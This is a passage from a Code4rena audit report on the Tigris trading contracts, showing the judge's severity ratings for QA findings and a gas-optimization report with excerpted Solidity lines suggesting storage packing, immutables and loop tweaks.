https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/TradingExtension.sol#L4-L8

[26] Constant redefined elsewhere

Consider defining in only one contract so that values cannot become out of sync when only one location is updated.

A cheap way to store constants in a single location is to create an internal constant in a library. If the variable is a local cache of another contract's value, consider making the cache variable internal or private, which will require external users to query the contract with the source of truth, so that callers don't get out of sync.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L95

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/TradingExtension.sol#L11

[27] Convert repeated validation statements into a function modifier to improve code reusability

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L107

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L330

[28] Large multiples of ten should use scientific notation.

Using scientific notation for large multiples of ten will improve code readability.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/TradingExtension.sol#L26

Alex the Entreprenerd (judge) commented:

> [01] Use `.call` instead of `.transfer` to send ether
>
> Low
>
> [02] Unbounded loop
>
> Low
>
> [03] Use the safe variant and `ERC721.mint`
>
> Low
>
> [04] Usage of deprecated chainlink API
>
> Low
>
> [05] Lack of checks-effects-interactions
>
> Low
>
> [06] Lack of zero address checks for `Trading.sol` constructor for the variables `_position`, `_gov` and `_pairsContract`

Low

[07] Add an event for critical parameter changes

Non-Critical

[08] Missing unit tests

Refactoring

[09] Pragma float

Non-Critical

[10] Contract layout and order of functions

Non-Critical

[11] Use time units directly

Refactoring

[12] Declare interfaces on separate files

Refactoring

[13] Constants should be upper case

Refactoring

[14] Use `private constant` consistently

Non-Critical

[15] Add a limit for the maximum number of characters per line

Non-Critical

[16] Declaring a `return named variable` and returning a manual value for the same function

Refactoring

[17] Lack of spacing in comment

Non-Critical

[18] Critical changes should use two-step procedure

Non-Critical

[19] Missing NATSPEC

Non-Critical

[20] Interchangeable usage of uint and uint256

Non-Critical

[21] Move require/validation statements to the top of the function when validating input parameters

Refactoring

[22] Remove console.log import in `Lock.sol`

Non-Critical

[23] Draft openzeppelin dependencies

Refactoring

[24] Named imports can be used

Non-Critical

[25] Imports can be grouped together

> Non-Critical

> [26] Constant redefined elsewhere

> Refactoring

> [27] Convert repeated validation statements into a function modifier to improve code reusability

> Refactoring

> [28] Large multiples of ten should use scientific notation.

> Refactoring

Gas Optimizations

For this contest, 7 reports were submitted by wardens detailing gas optimizations. The **report highlighted below** by **IIIIIII** received the top score from the judge.

The following wardens also submitted reports: **Deekshith99**, **JC**, **c3phas**, **Aymen0909**, **Faith**, *and* **ReyAdmirado** .

Gas Optimizations Summary

	Issue	Instances	Total Gas Saved
[G-01]	Multiple `address` /ID mappings can be combined into a single `mapping` of an `address` /ID to a `struct` , where appropriate	5	-
[G-02]	State variables only set in the constructor should be declared `immutable`	7	14679
[G-03]	State variables can be packed into fewer storage slots	1	-
[G-04]	Structs can be packed into fewer storage slots	6	-
[G-05]	Using `storage` instead of `memory` for structs/arrays saves gas	2	8400

	Issue	Instances	Total Gas Saved
[G-06]	Avoid contract existence checks by using low level calls	40	4000
[G-07]	Multiple accesses of a mapping/array should use a local variable cache	39	1638
[G-08]	The result of function calls should be cached rather than re-calling the function	1	-
[G-09]	`<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables	1	113
[G-10]	`internal` functions only called once can be inlined to save gas	2	40
[G-11]	Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement	1	85
[G-12]	`++i` / `i++` should be `unchecked{++i}` / `unchecked{i++}` when it is not possible for them to overflow, as is the case when used in `for` - and `while` -loops	16	960
[G-13]	`require()` / `revert()` strings longer than 32 bytes cost extra gas	4	-
[G-14]	Optimize names to save gas	25	550
[G-15]	Use a more recent version of solidity	21	-
[G-16]	Splitting `require()` statements that use `&&` saves gas	3	9
[G-17]	Don't compare boolean expressions to boolean literals	2	18
[G-18]	Ternary unnecessary	2	-
[G-19]	`require()` or `revert()` statements that check input arguments should be at the top of the function	1	-
[G-20]	Use custom errors rather than `revert()` / `require()` strings to save gas	2	-
[G-21]	Functions guaranteed to revert when called by normal users can be marked `payable`	69	1449
[G-22]	Don't use `_msgSender()` if not supporting EIP-2771	30	480

Total: 280 instances over 22 issues with **32421 gas** saved

Gas totals use lower bounds of ranges and count two iterations of each `for`-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.

[G-01] Multiple `address`/ID mappings can be combined into a single `mapping` of an `address`/ID to a `struct`, where appropriate

Saves a storage slot for the mapping. Depending on the circumstances and sizes of types, can avoid a Gsset (**20000 gas**) per mapping combined. Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot. Finally, if both fields are accessed in the same function, can save **~42 gas per access** due to [not having to recalculate the key's keccak256 hash](#) (Gkeccak256 - 30 gas) and that calculation's associated stack operations.

There are 5 instances of this issue:

```
File: contracts/BondNFT.sol

32          mapping(address => bool) public allowedAsset;
33:         mapping(address => uint) private assetsIndex;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L32-L33

```
File: contracts/GovNFT.sol

265         mapping(address => bool) private _allowedAsset;
266         mapping(address => uint) private assetsIndex;
267         mapping(address => mapping(address => uint256)) privat
268         mapping(address => mapping(address => uint256)) privat
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L265-L269

File: contracts/Position.sol

```
26        mapping(uint256 => uint256[]) private _assetOpenPositi
27        mapping(uint256 => mapping(uint256 => uint256)) privat
28
29        mapping(uint256 => uint256[]) private _limitOrders; //
30        mapping(uint256 => mapping(uint256 => uint256)) privat
31
32        // Funding
33        mapping(uint256 => mapping(address => int256)) public
34        mapping(uint256 => mapping(address => mapping(bool =>
35        mapping(uint256 => mapping(address => uint256)) privat
36        mapping(uint256 => int256) private initId;
37        mapping(uint256 => mapping(address => uint256)) privat
38:       mapping(uint256 => mapping(address => uint256)) privat
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L24-L38

File: contracts/StableVault.sol

```
29        mapping(address => bool) public allowed;
30:       mapping(address => uint) private tokenIndex;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L29-L30

File: contracts/TradingExtension.sol

```
17        mapping(address => bool) private isNode;
18        mapping(address => uint) public minPositionSize;
19:       mapping(address => bool) public allowedMargin;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L17-L19

[G-02] State variables only set in the constructor should be declared `immutable`

Avoids a Gsset (**20000 gas**) in the constructor, and replaces the first access in each transaction (Gcoldsload - **2100 gas**) and each access thereafter (Gwarmacces - **100 gas**) with a `PUSH32` (**3 gas**).

While `string` s are not value types, and therefore cannot be `immutable` / `constant` if not hard-coded outside of the constructor, the same behavior can be achieved by making the current contract `abstract` with `virtual` functions for the `string` accessors, and having a child contract override the functions with the hard-coded implementation-specific values.

There are 7 instances of this issue:

```
File: contracts/TradingExtension.sol

/// @audit trading (constructor)
35:           trading = _trading;

/// @audit pairsContract (constructor)
36:           pairsContract = IPairsContract(_pairsContract);

/// @audit referrals (constructor)
37:           referrals = IReferrals(_ref);

/// @audit position (constructor)
38:           position = IPosition(_position);
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L35

```
File: contracts/Trading.sol
```

```
/// @audit pairsContract (constructor)
151:          pairsContract = IPairsContract(_pairsContract);

/// @audit position (constructor)
149:          position = IPosition(_position);

/// @audit gov (constructor)
150:          gov = IGovNFT(_gov);
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L151

[G-03] State variables can be packed into fewer storage slots

If variables occupying the same slot are both written the same function or by the constructor, avoids a separate Gsset (**20000 gas**). Reads of the variables can also be cheaper.

There is 1 instance of this issue:

```
File: contracts/TradingExtension.sol

/// @audit Variable ordering with 9 slots instead of the current
///           uint256(32):validSignatureTimer, mapping(32):isNod
13:       address public trading;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L13

[G-04] Structs can be packed into fewer storage slots

Each slot saved can avoid an extra Gsset (**20000 gas**) for the first setting of the struct.

Subsequent reads as well as writes have smaller gas savings.

There are 6 instances of this issue:

File: contracts/BondNFT.sol

```
/// @audit Variable ordering with 10 slots instead of the curren
///           uint256(32):id, uint256(32):amount, uint256(32):mi
12        struct Bond {
13            uint id;
14            address owner;
15            address asset;
16            uint amount;
17            uint mintEpoch;
18            uint mintTime;
19            uint expireEpoch;
20            uint pending;
21            uint shares;
22            uint period;
23            bool expired;
24:       }
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L12-L24

File: contracts/interfaces/IPosition.sol

```
/// @audit Variable ordering with 11 slots instead of the curren
///           uint256(32):margin, uint256(32):leverage, uint256(
7         struct Trade {
8             uint margin;
9             uint leverage;
10            uint asset;
11            bool direction;
12            uint price;
13            uint tpPrice;
14            uint slPrice;
15            uint orderType;
16            address trader;
17            uint id;
18            address tigAsset;
19            int accInterest;
20:       }

/// @audit Variable ordering with 9 slots instead of the current
///           uint256(32):margin, uint256(32):leverage, uint256(
```

```
22          struct MintTrade {
23              address account;
24              uint256 margin;
25              uint256 leverage;
26              uint256 asset;
27              bool direction;
28              uint256 price;
29              uint256 tp;
30              uint256 sl;
31              uint256 orderType;
32              address tigAsset;
33:         }
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IPosition.sol#L7-L20

```
File: contracts/interfaces/ITrading.sol

/// @audit Variable ordering with 8 slots instead of the current
///             uint256(32):margin, uint256(32):leverage, uint256(
9           struct TradeInfo {
10              uint256 margin;
11              address marginAsset;
12              address stableVault;
13              uint256 leverage;
14              uint256 asset;
15              bool direction;
16              uint256 tpPrice;
17              uint256 slPrice;
18              bytes32 referral;
19:         }

/// @audit Variable ordering with 5 slots instead of the current
///             uint256(32):deadline, uint256(32):amount, bytes32(
21          struct ERC20PermitData {
22              uint256 deadline;
23              uint256 amount;
24              uint8 v;
25              bytes32 r;
26              bytes32 s;
27              bool usePermit;
28:         }
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ITrading.sol#L9-L19

```
File: contracts/utils/TradingLibrary.sol

/// @audit Variable ordering with 5 slots instead of the current
///           uint256(32):asset, uint256(32):price, uint256(32):
12    struct PriceData {
13        address provider;
14        uint256 asset;
15        uint256 price;
16        uint256 spread;
17        uint256 timestamp;
18        bool isClosed;
19:   }
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L12-L19

[G-05] Using `storage` instead of `memory` for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a `memory` variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (**2100 gas**) for *each* field of the struct/array. If the fields are read from the new memory variable, they incur an additional `MLOAD` rather than a cheap stack read. Instead of declearing the variable with the `memory` keyword, declaring the variable with the `storage` keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a `memory` variable, is if the full struct/array is being returned by the function, is being passed to a function that requires `memory`, or if the array/struct is being read from another `memory` array/struct

There are 2 instances of this issue:

```
File: contracts/Trading.sol

700:          Fees memory _fees = openFees;

774:          Fees memory _fees = closeFees;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L700

[G-06] Avoid contract existence checks by using low level calls

Prior to 0.8.10 the compiler inserted extra code, including `EXTCODESIZE` (**100 gas**), to check for contract existence for external function calls. In more recent solidity versions, the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low level calls never check for contract existence

There are 40 instances of this issue:

```
File: contracts/BondNFT.sol

/// @audit transfer()
185:          IERC20(tigAsset).transfer(manager, amount);

/// @audit transfer()
202:          IERC20(_tigAsset).transfer(manager, amount);

/// @audit transferFrom()
216:          IERC20(_tigAsset).transferFrom(_msgSender(), addre
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L185

```
File: contracts/GovNFT.sol

/// @audit excessivelySafeCall()
175:          (bool success, bytes memory reason) = address(this
```

```
/// @audit transfer()
279:           IERC20(_tigAsset).transfer(_msgsender, amount);

/// @audit transferFrom()
289:           try IERC20(_tigAsset).transferFrom(_msgSender(), a
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L175

```
File: contracts/Lock.sol

/// @audit transfer()
39:           IERC20(_tigAsset).transfer(msg.sender, _amount);

/// @audit transfer()
52:           IERC20(_tigAsset).transfer(msg.sender, amount);

/// @audit transferFrom()
72:           IERC20(_asset).transferFrom(msg.sender, address(th

/// @audit transferFrom()
90:           IERC20(_asset).transferFrom(msg.sender, address(th

/// @audit transfer()
104:          IERC20(asset).transfer(_owner, amount);

/// @audit balanceOf()
114:              uint balanceBefore = IERC20(assets[i]).balance

/// @audit claim()
115:              IGovNFT(govNFT).claim(assets[i]);

/// @audit balanceOf()
116:              uint balanceAfter = IERC20(assets[i]).balanceO

/// @audit approve()
117:              IERC20(assets[i]).approve(address(bondNFT), ty
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L39

```
File: contracts/StableVault.sol

/// @audit transferFrom()
46:           IERC20(_token).transferFrom(_msgSender(), address(

/// @audit decimals()
49:               _amount*(10**(18-IERC20Mintable(_token).decima

/// @audit decimals()
67:           _output = _amount/10**(18-IERC20Mintable(_token).d

/// @audit transfer()
68:           IERC20(_token).transfer(
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L46

```
File: contracts/Trading.sol

/// @audit stable()
175:          address _tigAsset = IStableVault(_tradeInfo.stable

/// @audit stable()
324:          address _tigAsset = IStableVault(_tradeInfo.stable

/// @audit transfer()
588:          payable(_proxy).transfer(msg.value);

/// @audit decimals()
650:              uint _marginDecMultiplier = 10**(18-ExtendedIE

/// @audit transferFrom()
651:              IERC20(_marginAsset).transferFrom(_trader, add

/// @audit approve()
652:              IERC20(_marginAsset).approve(_stableVault, typ

/// @audit transfer()
671:              IERC20(_outputToken).transfer(_trade.trader, _

/// @audit balanceOf()
673:              uint256 _balBefore = IERC20(_outputToken).bala
```

```
/// @audit withdraw()
674:              IStableVault(_stableVault).withdraw(_outputTok

/// @audit balanceOf()
/// @audit decimals()
675:              if (IERC20(_outputToken).balanceOf(address(thi

/// @audit transfer()
/// @audit balanceOf()
676:              IERC20(_outputToken).transfer(_trade.trader, I

/// @audit balanceOf()
749:          gov.distribute(_tigAsset, IStable(_tigAsset).balan

/// @audit approve()
807:          IStable(_tigAsset).approve(address(gov), type(uint

/// @audit stable()
/// @audit allowed()
877:          require(_token == IStableVault(_stableVault).stabl
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L175

```
File: contracts/utils/TradingLibrary.sol

/// @audit trades()
77:           IPosition.Trade memory _trade = IPosition(_positio

/// @audit recover()
102           address _provider = (
103               keccak256(abi.encode(_priceData))
104:          ).toEthSignedMessageHash().recover(_signature);

/// @audit latestAnswer()
113:              int256 assetChainlinkPriceInt = IPrice(_chainl

/// @audit decimals()
115:                  uint256 assetChainlinkPrice = uint256(asse
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L77

[G-07] Multiple accesses of a mapping/array should use a local variable cache

The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping's value in a local `storage` or `calldata` variable when the value is accessed multiple times, saves **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - **30 gas**) and that calculation's associated stack operations. Caching an array's struct avoids recalculating the array offsets into memory/calldata

There are 39 instances of this issue:

```
File: contracts/PairsContract.sol

/// @audit _idToAsset[_asset] on line 34
36:             _idToAsset[_asset].chainlinkFeed = _feed;

/// @audit _idToAsset[_asset] on line 49
55:             _idToAsset[_asset].name = _name;

/// @audit _idToAsset[_asset] on line 55
57:             _idToAsset[_asset].chainlinkFeed = _chainlinkFeed;

/// @audit _idToAsset[_asset] on line 57
59:             _idToAsset[_asset].minLeverage = _minLeverage;

/// @audit _idToAsset[_asset] on line 59
60:             _idToAsset[_asset].maxLeverage = _maxLeverage;

/// @audit _idToAsset[_asset] on line 60
61:             _idToAsset[_asset].feeMultiplier = _feeMultiplier;

/// @audit _idToAsset[_asset] on line 61
62:             _idToAsset[_asset].baseFundingRate = _baseFundingR

/// @audit _idToAsset[_asset] on line 74
78:                 _idToAsset[_asset].maxLeverage = _maxLeverage;
```

```
/// @audit _idToAsset[_asset] on line 78
81:                 _idToAsset[_asset].minLeverage = _minLeverage;

/// @audit _idToAsset[_asset] on line 81
/// @audit _idToAsset[_asset] on line 84
84:             require(_idToAsset[_asset].maxLeverage >= _idToAss

/// @audit _idToAsset[_asset] on line 93
96:             _idToAsset[_asset].baseFundingRate = _baseFundingR

/// @audit _idToAsset[_asset] on line 105
107:            _idToAsset[_asset].feeMultiplier = _feeMultiplier;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L36

```
File: contracts/Position.sol

/// @audit _limitOrders[<etc>] on line 150
151:                _limitOrderIndexes[_mintTrade.asset][newTokenI

/// @audit _assetOpenPositions[<etc>] on line 157
158:                _assetOpenPositionsIndexes[_mintTrade.asset][n

/// @audit _limitOrders[_asset] on line 177
178:            _limitOrders[_asset][_limitOrderIndexes[_asset][_i

/// @audit _limitOrders[_asset] on line 178
180:            _limitOrders[_asset].pop();

/// @audit _assetOpenPositions[_asset] on line 184
185:            _assetOpenPositionsIndexes[_asset][_id] = _assetOp

/// @audit _trades[_id] on line 198
199:            _trades[_id].leverage = _newLeverage;

/// @audit _trades[_id] on line 210
211:            _trades[_id].price = _newPrice;

/// @audit _trades[_id] on line 211
/// @audit _trades[_id] on line 212
/// @audit _trades[_id] on line 212
/// @audit _trades[_id] on line 212
```

```
212:             initId[_id] = accInterestPerOi[_trades[_id].asset]

/// @audit _trades[_id] on line 231
231:             _trades[_id].accInterest -= _trades[_id].accIntere

/// @audit _trades[_id] on line 231
/// @audit _trades[_id] on line 232
232:             _trades[_id].margin -= _trades[_id].margin*_percen

/// @audit _trades[_id] on line 232
/// @audit _trades[_id] on line 233
/// @audit _trades[_id] on line 233
/// @audit _trades[_id] on line 233
/// @audit _trades[_id] on line 233
233:             initId[_id] = accInterestPerOi[_trades[_id].asset]

/// @audit _trades[_id] on line 262
263:             if (_trades[_id].orderType > 0) {

/// @audit _limitOrders[_asset] on line 264
265:                 _limitOrders[_asset][_limitOrderIndexes[_asset

/// @audit _limitOrders[_asset] on line 265
267:                 _limitOrders[_asset].pop();

/// @audit _assetOpenPositions[_asset] on line 269
270:                 _assetOpenPositions[_asset][_assetOpenPosition

/// @audit _assetOpenPositions[_asset] on line 270
272:                 _assetOpenPositions[_asset].pop();
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L151

```
File: contracts/Trading.sol

/// @audit blockDelayPassed[_id] on line 861
864:                 blockDelayPassed[_id].delay = block.number

/// @audit blockDelayPassed[_id] on line 864
865:                 blockDelayPassed[_id].actionType = _type;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L864

[G-08] The result of function calls should be cached rather than re-calling the function

The instances below point to the second+ call of the function within a single function

There is 1 instance of this issue:

```
File: contracts/Trading.sol

/// @audit position.getCount() on line 173
208:                emit PositionOpened(_tradeInfo, 0, _price, pos
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L208

[G-09] `<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables

Using the addition operator instead of plus-equals saves [113 gas]

There is 1 instance of this issue:

```
File: contracts/GovNFT.sol

52:             counter += 1;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L52

[G-10] `internal` functions only called once can be inlined to save gas

Not inlining costs **20 to 40 gas** because of two extra `JUMP` instructions and additional stack operations needed for function calls.

There are 2 instances of this issue:

```
File: contracts/BondNFT.sol

323         function _transfer(
324             address from,
325             address to,
326:            uint256 _id
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L323-L326

```
File: contracts/GovNFT.sol

89          function _transfer(
90              address from,
91              address to,
92:             uint256 tokenId
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L89-L92

[G-11] Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if`-statement

`require(a <= b); x = b - a` **=>** `require(a <= b); unchecked { x = b - a }`

There is 1 instance of this issue:

```
File: contracts/Trading.sol

/// @audit if-condition on line 615
616:              if ((_trade.margin*_trade.leverage*(DIVISION_C
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L616

[G-12] `++i` / `i++` should be `unchecked{++i}` / `unchecked{i++}` when it is not possible for them to overflow, as is the case when used in `for` - and `while` -loops

The `unchecked` keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are. This saves **30-40 gas** per loop

There are 16 instances of this issue:

```
File: contracts/GovNFT.sol

53:           for (uint i=0; i<assetsLength(); i++) {

67:           for (uint i=0; i<assetsLength(); i++) {

78:           for (uint i=0; i<assetsLength(); i++) {

95:           for (uint i=0; i<assetsLength(); i++) {

105:          for (uint i=0; i<_amount; i++) {

131:          for (uint i=0; i<tokenId.length; i++) {

200:          for (uint i=0; i<tokenId.length; i++) {

246:          for (uint i=0; i<_ids.length; i++) {

252:          for (uint i=0; i<_ids.length; i++) {

258:          for (uint i=0; i<_ids.length; i++) {
```

```
325:            for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L53

```
File: contracts/Lock.sol

113:            for (uint i=0; i < assets.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L113

```
File: contracts/Position.sol

296:            for (uint i=0; i<_ids.length; i++) {

304:            for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L296

```
File: contracts/Referrals.sol

70:             for (uint i=0; i<_codeOwnersL; i++) {

73:             for (uint i=0; i<_referredAL; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L70

🔗

[G-13] `require()` / `revert()` strings longer than 32 bytes cost extra gas

Each extra memory word of bytes past the original 32 [incurs an MSTORE](#) which costs **3 gas**

There are 4 instances of this issue:

```
File: contracts/GovNFT.sol

153           require(
154               msg.value >= messageFee,
155               "Must send enough value to cover messageFee"
156:          );

185:          require(msg.sender == address(this), "NonblockingL

209:          require(payloadHash != bytes32(0), "NonblockingLzA

210:          require(keccak256(_payload) == payloadHash, "Nonbl
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L153-L156

[G-14] Optimize names to save gas

`public` / `external` function names and `public` member variable names can be optimized to save gas. See [this](#) link for an example of how it works. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save **128 gas** each during deployment, and renaming functions to have lower method IDs will save **22 gas** per call, [per sorted position shifted](#)

There are 25 instances of this issue:

```
File: contracts/BondNFT.sol
```

```
/// @audit createLock(), extendLock(), release(), claim(), claim
8:    contract BondNFT is ERC721Enumerable, Ownable {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L8

```
File: contracts/GovNFT.sol

/// @audit setBaseURI(), _bridgeMint(), mintMany(), setTrustedAd
12:   contract GovNFT is ERC721Enumerable, ILayerZeroReceiver, M
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L12

```
File: contracts/interfaces/IBondNFT.sol

/// @audit createLock(), extendLock(), claim(), claimDebt(), rel
4:    interface IBondNFT {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IBondNFT.sol#L4

```
File: contracts/interfaces/IGovNFT.sol

/// @audit distribute(), safeTransferMany(), claim(), pending()
5:    interface IGovNFT {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IGovNFT.sol#L5

```
File: contracts/interfaces/ILayerZeroEndpoint.sol
```

```
/// @audit send(), receivePayload(), getInboundNonce(), getOutbo
7:    interface ILayerZeroEndpoint is ILayerZeroUserApplicationC
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroEndpoint.sol#L7

```
File: contracts/interfaces/ILayerZeroReceiver.sol

/// @audit lzReceive()
5:    interface ILayerZeroReceiver {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroReceiver.sol#L5

```
File: contracts/interfaces/ILayerZeroUserApplicationConfig.sol

/// @audit setConfig(), setSendVersion(), setReceiveVersion(), f
5:    interface ILayerZeroUserApplicationConfig {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroUserApplicationConfig.sol#L5

```
File: contracts/interfaces/IPairsContract.sol

/// @audit allowedAsset(), idToAsset(), idToOi(), setAssetBaseFu
5:    interface IPairsContract {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IPairsContract.sol#L5

```
File: contracts/interfaces/IPosition.sol
```

```
/// @audit trades(), executeLimitOrder(), modifyMargin(), addToP
5:    interface IPosition {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IPosition.sol#L5

```
File: contracts/interfaces/IReferrals.sol

/// @audit createReferralCode(), setReferred(), getReferred(), g
5:    interface IReferrals {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IReferrals.sol#L5

```
File: contracts/interfaces/IStableVault.sol

/// @audit deposit(), withdraw(), allowed(), stable()
5:    interface IStableVault {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IStableVault.sol#L5

```
File: contracts/interfaces/ITrading.sol

/// @audit initiateMarketOrder(), initiateCloseOrder(), addMargi
7:    interface ITrading {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ITrading.sol#L7

```
File: contracts/Lock.sol
```

```
/// @audit claim(), claimDebt(), lock(), extendLock(), release()
10:   contract Lock is Ownable{
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L10

```
File: contracts/PairsContract.sol

/// @audit idToAsset(), idToOi(), setAssetChainlinkFeed(), addAs
8:    contract PairsContract is Ownable, IPairsContract {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L8

```
File: contracts/Position.sol

/// @audit isMinter(), trades(), openPositions(), openPositionsI
9:    contract Position is ERC721Enumerable, MetaContext, IPosit
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L9

```
File: contracts/Referrals.sol

/// @audit createReferralCode(), setReferred(), getReferred(), g
7:    contract Referrals is Ownable, IReferrals {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L7

```
File: contracts/StableToken.sol

/// @audit mintFor(), setMinter()
```

```
7:    contract StableToken is ERC20Permit, MetaContext {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L7

```
File: contracts/StableVault.sol

/// @audit mintFor()
9:    interface IERC20Mintable is IERC20 {

/// @audit deposit(), depositWithPermit(), withdraw(), listToken
27:   contract StableVault is MetaContext, IStableVault {
```

